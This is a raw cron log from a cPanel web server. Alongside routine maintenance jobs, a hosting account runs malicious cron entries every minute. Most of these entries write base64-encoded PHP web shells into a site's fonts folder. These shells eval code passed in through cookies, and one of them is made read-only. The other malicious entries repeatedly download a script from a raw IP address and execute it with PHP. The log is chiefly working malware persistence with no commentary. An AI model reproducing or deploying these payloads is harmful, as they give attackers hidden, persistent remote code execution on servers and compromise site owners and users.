Sep 10 19:05:01 ip-184-168-122-23 CROND[27323]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:05:01 ip-184-168-122-23 CROND[27327]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 19:05:01 ip-184-168-122-23 CROND[27324]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 19:05:01 ip-184-168-122-23 CROND[27330]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 19:05:01 ip-184-168-122-23 CROND[27325]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 19:05:01 ip-184-168-122-23 CROND[27326]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 19:05:01 ip-184-168-122-23 CROND[27332]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:06:01 ip-184-168-122-23 CROND[27419]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 19:06:01 ip-184-168-122-23 CROND[27421]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 19:06:01 ip-184-168-122-23 CROND[27422]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:06:01 ip-184-168-122-23 CROND[27425]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:06:01 ip-184-168-122-23 CROND[27426]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 19:07:01 ip-184-168-122-23 CROND[27518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 19:07:01 ip-184-168-122-23 CROND[27516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:07:01 ip-184-168-122-23 CROND[27517]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 19:07:01 ip-184-168-122-23 CROND[27519]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:08:01 ip-184-168-122-23 CROND[27608]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 19:08:01 ip-184-168-122-23 CROND[27610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:08:01 ip-184-168-122-23 CROND[27611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:08:01 ip-184-168-122-23 CROND[27612]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 19:08:01 ip-184-168-122-23 CROND[27615]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 19:09:01 ip-184-168-122-23 CROND[27705]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 19:09:01 ip-184-168-122-23 CROND[27706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:09:01 ip-184-168-122-23 CROND[27707]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 19:09:01 ip-184-168-122-23 CROND[27709]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 19:09:01 ip-184-168-122-23 CROND[27710]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:10:01 ip-184-168-122-23 CROND[27892]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 19:10:01 ip-184-168-122-23 CROND[27894]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:10:01 ip-184-168-122-23 CROND[27899]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 19:10:01 ip-184-168-122-23 CROND[27897]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:10:01 ip-184-168-122-23 CROND[27898]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 19:10:01 ip-184-168-122-23 CROND[27896]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 19:10:01 ip-184-168-122-23 CROND[27901]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 19:10:01 ip-184-168-122-23 CROND[27902]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 19:11:01 ip-184-168-122-23 CROND[28006]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:11:01 ip-184-168-122-23 CROND[28007]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 19:11:01 ip-184-168-122-23 CROND[28008]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 19:11:01 ip-184-168-122-23 CROND[28009]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:12:01 ip-184-168-122-23 CROND[28093]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 19:12:01 ip-184-168-122-23 CROND[28095]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 19:12:01 ip-184-168-122-23 CROND[28096]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:12:01 ip-184-168-122-23 CROND[28097]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:12:01 ip-184-168-122-23 CROND[28098]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 19:13:01 ip-184-168-122-23 CROND[28196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 19:13:01 ip-184-168-122-23 CROND[28195]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:13:01 ip-184-168-122-23 CROND[28197]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:13:01 ip-184-168-122-23 CROND[28198]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 19:14:01 ip-184-168-122-23 CROND[28304]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 19:14:01 ip-184-168-122-23 CROND[28306]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:14:01 ip-184-168-122-23 CROND[28307]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 19:14:01 ip-184-168-122-23 CROND[28308]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:14:01 ip-184-168-122-23 CROND[28309]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 19:15:01 ip-184-168-122-23 CROND[28419]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 19:15:01 ip-184-168-122-23 CROND[28422]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:15:01 ip-184-168-122-23 CROND[28423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 19:15:01 ip-184-168-122-23 CROND[28424]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:15:01 ip-184-168-122-23 CROND[28425]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 19:15:01 ip-184-168-122-23 CROND[28421]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 19:16:01 ip-184-168-122-23 CROND[28599]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 19:16:01 ip-184-168-122-23 CROND[28601]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:16:01 ip-184-168-122-23 CROND[28602]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 19:16:01 ip-184-168-122-23 CROND[28605]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 19:16:01 ip-184-168-122-23 CROND[28603]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 19:16:01 ip-184-168-122-23 CROND[28604]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:17:01 ip-184-168-122-23 CROND[28715]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
